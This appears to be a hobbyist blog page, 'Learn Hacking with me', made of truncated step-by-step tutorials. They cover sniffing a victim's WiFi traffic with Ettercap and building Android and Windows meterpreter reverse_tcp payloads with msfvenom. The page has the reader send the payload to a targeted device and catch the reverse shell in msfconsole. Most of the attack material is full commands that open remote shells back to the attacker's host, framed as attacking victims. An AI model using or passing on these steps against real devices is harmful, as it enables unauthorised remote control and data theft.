Learn Hacking with me

   What is Packet Sniffing? --> Packet sniffing is the practice of gathering, collecting, and logging some or all packets that pass through a computer network, regardless of how the packet is addressed. In this way, every packet, or a defined subset of packets, may be gathered for further analysis. You as a network administrator can use the collected data for a wide variety of purposes like monitoring bandwidth and traffic    How This Works? --> A packet sniffer, sometimes called a packet analyzer, is composed of two main parts. First, a network adapter that connects the sniffer to the existing network. Second, software that provides a way to log, see or analyze the data collected by the device. Step1:- Using your system connect into victims network(WIFI Network) Step2:- open new root terminal in Kali Linux   Step3:- Start Ettercap(GUI) Write 'ettercap -g' Step4:- It will open Ettercap GUI  Click on ✔ Step5:- Click on scan for host Step6:- After c...

      Step 1:- Open Terminal or Root Terminal in Kali-Linux Write the payload for android  which is given below      msfvenom -p android/meterpreter/reverse_tcp lhost=<Enter your IP address> lport=4444  > android.apk You can use any lport like 4444,8080     Step 2:- Send the apk file to the targeted device Then after installing it and it will ask for permission that shown bellow Then aftertouch on install Anyway      It will look like that shown in the image [MainActivity]       Step 3:- Write commands shown bellow msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost <Your IP address>  set lport  <which you write in payload> run/exploit Then after click on mainactivity on android [It's msfconsole] [It's all commands]                               ...

         Step 1:- To get your IP address type the following command: ifconfig             Step 2:- Open terminal or Root terminal and type the following command :        msfvenom -p windows/x64/meterpreter/reverse_tcp lport=8080 lhost=<Enter your IP> -f exe > hack.exe you can use any lport like lport=4444,lport=8000          Step 3:- Find the file to the main desktop using drag and drop            Step 4:- In the terminal type the following command :   msfconsole   use exploit/multi/handler   set payload windows/x64/meterpreter/reverse_tcp   set lhost 192.168.43.110   set lport 8080   exploit          Step 5:-  Run the file which we put on the main desktop then after you will see the new meterpreter session   open         Step 5:- Type help...

       Exploit:- An exploit is a piece of code written to take advantage of a particular vulnerability           step 1         :-  open kali terminal  root terminal          step 2        :- write msfconsole                   step 3         :- write use exploit         step 4                    :- Example :-  exploit/windows/scada/igss9_igssdataserver_listall       Payload:- A payload is a piece of code to be executed through said exploit        step 1          :- open kali terminal or root terminal        step 2          :-write msfconsole         s...

Reverse_tcp is basically  instead of the attacker initiating the connection which will obviously be blocked by the firewall Instade,the device initiates the connection to the attacker, which will be allowed by the firewall and the attacker then take control of the device and pass commands. It's  a type of reverse shell

The full form of TCP is Transmission Control Protocol  It stands for communications standard that enables application Programs  It also computing devices to exchange messages over a network  It is designed to send  packets across the internet  and ensure the successful delivery of data and messages over the network  It's  a basically Three-way handshake                What is TCP used for? TCP is used for organizing data in a way that ensures the secure transmission between the server and client                Example of TCP World Wide Web ( HTTP)   E-mail (SMTP TCP) File Transfer Protocol (FTP)           That's it from my side. Thank you 😊. Comments are appreciated